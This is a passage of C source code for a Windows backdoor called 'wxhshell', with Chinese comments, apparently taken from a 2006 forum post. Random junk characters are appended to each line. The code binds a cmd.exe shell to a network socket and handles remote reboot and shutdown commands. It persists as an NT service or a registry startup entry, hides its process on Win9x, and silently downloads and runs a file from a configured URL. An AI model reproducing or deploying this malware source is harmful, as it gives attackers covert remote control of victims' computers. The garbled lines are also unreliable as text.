  } Ou|kb61zg  
  else { uPb.uG  
r;"Qu  
    switch(cmd[0]) { Zo Ra^o  
  hXc:y0 0  
  // 帮助 Bv 7os3xb  
  case '?': { fz+dOIU3\L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )qDV3   
    break; 6ziBGU#.-  
  } fV!~SX6S  
  // 安装 ?]_A~_J!  
  case 'i': { - G=doP0  
    if(Install()) U@}P]'`'f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `mS0]/AV/  
    else 7aHP;X~0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PD^Cj?wm  
    break; ztC,[   
    } tSTl#xy  
  // 卸载 8`|Z9umW*  
  case 'r': { / !hxW}>^  
    if(Uninstall()) NU 3s^ 8\(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f!B\X*|  
    else [QwqP=-6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;a(7%  
    break; A aM~B`B  
    } 1f$1~5Z  
  // 显示 wxhshell 所在路径 J c:j7}OOV  
  case 'p': { jZ<f-Ff0  
    char svExeFile[MAX_PATH]; bZgFea_>i  
    strcpy(svExeFile,"\n\r"); P#,g5  
      strcat(svExeFile,ExeFile); 80LN(0?x  
        send(wsh,svExeFile,strlen(svExeFile),0); 2KNs,4X@  
    break; Et;Ubj"+  
    } aBKJd  
  // 重启 [-nPHmZV[  
  case 'b': { af=lzKt*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4B-+DH>{6  
    if(Boot(REBOOT)) Fw%S%*B8g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e#ne5   
    else { 1 @q"rPE^  
    closesocket(wsh); 6^z):d#u  
    ExitThread(0); !*,m=*[3  
    }  N1dM,H  
    break; io7Zv*&T0  
    } T ?{F7  
  // 关机 i >BQRbU  
  case 'd': { m3`J9f,c/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9#\oGzDN  
    if(Boot(SHUTDOWN)) + ;B K|([#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iMF-TR  
    else { w#>CYP`0k6  
    closesocket(wsh); OB+QVYk"  
    ExitThread(0); $T*g@]   
    } 8 HD I]  
    break; ^B(:Hv}G(:  
    } YF)c.Q0  
  // 获取shell oox;8d4}y  
  case 's': { (usPAslr  
    CmdShell(wsh); LP}'upv  
    closesocket(wsh); ({h W  
    ExitThread(0); Ka8Bed3  
    break; KY9@2JG  
  } &hIr@Gi@ch  
  // 退出 -8sB\E  
  case 'x': { _TVKvRh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); if+97^Oy  
    CloseIt(wsh); b2hXFwPe  
    break; Ne}x(uRn  
    } h?vt6t9  
  // 离开 FivqyT7i  
  case 'q': { rG'W#!^*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #mRT>]di`D  
    closesocket(wsh); ]mx1djNA  
    WSACleanup(); eY(JU5{  
    exit(1); v@qVT'qlU  
    break; K^c%$n:}+  
        } x#'v}(v  
  } G@,XUP  
  } =u.hHkx  
Wtp;se@#  
  // 提示信息 _[y<u})  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {s?x NU  
} d-B,)$zE  
  } ;2547b[ ]  
@E?o~jO(e  
  return; &xS] ;Fr  
} #$ ,b )Uy  
=m?x5G^  
// shell模块句柄 9*? i89T  
int CmdShell(SOCKET sock) CD)JCv  
{ {br6*  
STARTUPINFO si; y2>AbrJ  
ZeroMemory(&si,sizeof(si)); \!4_m8?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 17!<8vIV$C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ")3$. '5Dg  
PROCESS_INFORMATION ProcessInfo; l  !JTM  
char cmdline[]="cmd"; ;Lk07+3G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~lr,}K,  
  return 0; n fMU4(:  
} mfr7w+DK  
]=(PtzVa  
// 自身启动模式 .\"8H1I\T  
int StartFromService(void) ?PU7xO;_  
{ b yX)4&  
typedef struct e0`5PVJ  
{ Vv*](iM  
  DWORD ExitStatus; Z \;{e'#o  
  DWORD PebBaseAddress; 1raq;^e9  
  DWORD AffinityMask; @ gjA8mL  
  DWORD BasePriority; e^orqw/I  
  ULONG UniqueProcessId; 7~nuFJaTI  
  ULONG InheritedFromUniqueProcessId; 0W]vK$\F*  
}   PROCESS_BASIC_INFORMATION; /(DnMHn\  
6Vu)  
PROCNTQSIP NtQueryInformationProcess; /vw$3,*z  
e9rgJJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Lwkl*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^NFL3v8  
{,e-; 2q  
  HANDLE             hProcess; J{PNB{v  
  PROCESS_BASIC_INFORMATION pbi; G@o\D-$  
$)VnHr `hy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c6MMI]+8  
  if(NULL == hInst ) return 0; WL}XD Kx  
B<&g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =v=u+nO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4 Xe8j55  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HD>UTX`&mc  
m[Cp G=32B  
  if (!NtQueryInformationProcess) return 0; # 2?3B  
@ [%K D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jh/aK_Q,w  
  if(!hProcess) return 0; .:B;%*  
NPLJ*uHH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #E4|@}30`  
PgYIQpV  
  CloseHandle(hProcess); &|fWtl;43  
c2fw;)j&X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oe[f2?-  
if(hProcess==NULL) return 0; :O]US)VSj  
Wn Ng3'6  
HMODULE hMod; q)OCY}QA  
char procName[255]; }[SYWJIc  
unsigned long cbNeeded; yhd]s0(!  
W@Rb"5Gy+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @81N{tg-  
ricL.[v9S  
  CloseHandle(hProcess); ) RNB;K~s9  
ma@!"Z8 S  
if(strstr(procName,"services")) return 1; // 以服务启动 /NQ PTr  
t/h,-x  
  return 0; // 注册表启动 Sgn<=8,6c  
} 'j\mz5#s  
ln_[@K[oX  
// 主模块 a.fdCI]%  
int StartWxhshell(LPSTR lpCmdLine) S#S&_#$`,X  
{ Pdk#"H-j  
  SOCKET wsl; k;jXVa  
BOOL val=TRUE; Qn)AS1pL+  
  int port=0; Nu@dMG<5  
  struct sockaddr_in door; | &/_{T  
e;9x%kNs!  
  if(wscfg.ws_autoins) Install(); d^d+8R  
M# cJ&+rP  
port=atoi(lpCmdLine); gPIl:, d(  
m[s$)-T  
if(port<=0) port=wscfg.ws_port; DC2[g9S>8@  
6bT>x5?  
  WSADATA data; T%w5%{dqJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y-~ M kB  
OOnhT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zEYQZywc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @x_0AkZU  
  door.sin_family = AF_INET; gpogv -  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c"/Hv  
  door.sin_port = htons(port); 3(_:"?xA  
,6SzW+L7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ht|"91ZC5  
closesocket(wsl); x@tI  
return 1; k zC4V  
} ogJ *  
$.zd,}l@L  
  if(listen(wsl,2) == INVALID_SOCKET) { D&G^|: G  
closesocket(wsl); \Yh*ywwP#  
return 1; %<<JWoB  
} z&CBjlh  
  Wxhshell(wsl); VXl|AA<OG  
  WSACleanup(); t\f[->f  
D7g B%  
return 0; 5),&{k!  
m |Sf'5fK  
} EF'8-*  
JthU' "K  
// 以NT服务方式启动 0KA@ ]!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #dQFs]:F  
{ AYfL}X<Ig  
DWORD   status = 0; f9vitFkb+  
  DWORD   specificError = 0xfffffff; Ugme>60`'k  
T9uOOI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D/+l$aBz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <TgVU.*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g1@rY0O  
  serviceStatus.dwWin32ExitCode     = 0; -#,4rN#  
  serviceStatus.dwServiceSpecificExitCode = 0; 1P WTbd l  
  serviceStatus.dwCheckPoint       = 0; $Ww.^ym  
  serviceStatus.dwWaitHint       = 0; RSCQ`.  
Hp[i8PJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FmgMd)#  
  if (hServiceStatusHandle==0) return; fpJ%{z2  
Xq}}T%jcd  
status = GetLastError(); FT!Xr  
  if (status!=NO_ERROR) :"cKxd  
{ 8y;gs1d;A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rA}mp]  
    serviceStatus.dwCheckPoint       = 0; k+~2 vmS  
    serviceStatus.dwWaitHint       = 0; (,b\"Q  
    serviceStatus.dwWin32ExitCode     = status; p!K^Q3kO  
    serviceStatus.dwServiceSpecificExitCode = specificError; hx ^l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wV\G$|Y  
    return; PW\me7iCz  
  } ,s/laZ)V  
v>_83P`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8~3I^I_v  
  serviceStatus.dwCheckPoint       = 0; G+<id1  
  serviceStatus.dwWaitHint       = 0; ??lsv(v-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q=Liy@/+!  
} o>|DT(Ib  
8+H 0  
// 处理NT服务事件,比如:启动、停止 H~bbkql  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H3( @Q^9  
{ 5..YC=_20  
switch(fdwControl) 35L\  
{ 7MsJ*E n  
case SERVICE_CONTROL_STOP: HubK  
  serviceStatus.dwWin32ExitCode = 0; NDJP`FI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t:b}Mo0  
  serviceStatus.dwCheckPoint   = 0; W j`f^^\HJ  
  serviceStatus.dwWaitHint     = 0; |Qn>K   
  { @r(3   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &"7+k5O  
  } $LiBJ~vV<  
  return; .yD5>iBh  
case SERVICE_CONTROL_PAUSE: {7%(m|(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G++<r7;x  
  break; J0B*V0'zR  
case SERVICE_CONTROL_CONTINUE: @U@O#+d'ZR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KNR7Igw?}  
  break; 4BeHj~~  
case SERVICE_CONTROL_INTERROGATE: k{U[ U1j  
  break; )Br#R:#  
}; Lcf?VV}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U2CC#,b!(  
} 8fktk?|  
q/ (h{cq  
// 标准应用程序主函数 x+b.9f4xJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~y"OyOi&  
{ 'S*]JZ1  
Yv0y8Vz@  
// 获取操作系统版本 ?Ezy0>j  
OsIsNt=GetOsVer(); f?> ?jf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &.qLE  
P)LOAe1'  
  // 从命令行安装 oTrit_@3  
  if(strpbrk(lpCmdLine,"iI")) Install(); mP's4  
&h_Y?5kK  
  // 下载执行文件 t+\<i8  
if(wscfg.ws_downexe) { }pGjc_:']  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sE ^YOT<  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6cD3(//  
} EAy@kzY?  
l dp$jrNLr  
if(!OsIsNt) { t<`d*M2w  
// 如果时win9x,隐藏进程并且设置为注册表启动 F{c8{?:  
HideProc(); M^Tm{`O!  
StartWxhshell(lpCmdLine); ;aD?BD__Z  
} .{|SKhXk  
else FR>[ g`1  
  if(StartFromService()) /U-+ClZi@  
  // 以服务方式启动 ?FwHqyFVlQ  
  StartServiceCtrlDispatcher(DispatchTable); L >)|l  
else W8r"dK  
  // 普通方式启动 piqh7u3~  
  StartWxhshell(lpCmdLine); Ya(3Z_f+VZ  
vU(fd!V ?  
return 0; v*c"SI=@M=  
}
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只看该作者 1 发表于: 2006-10-10
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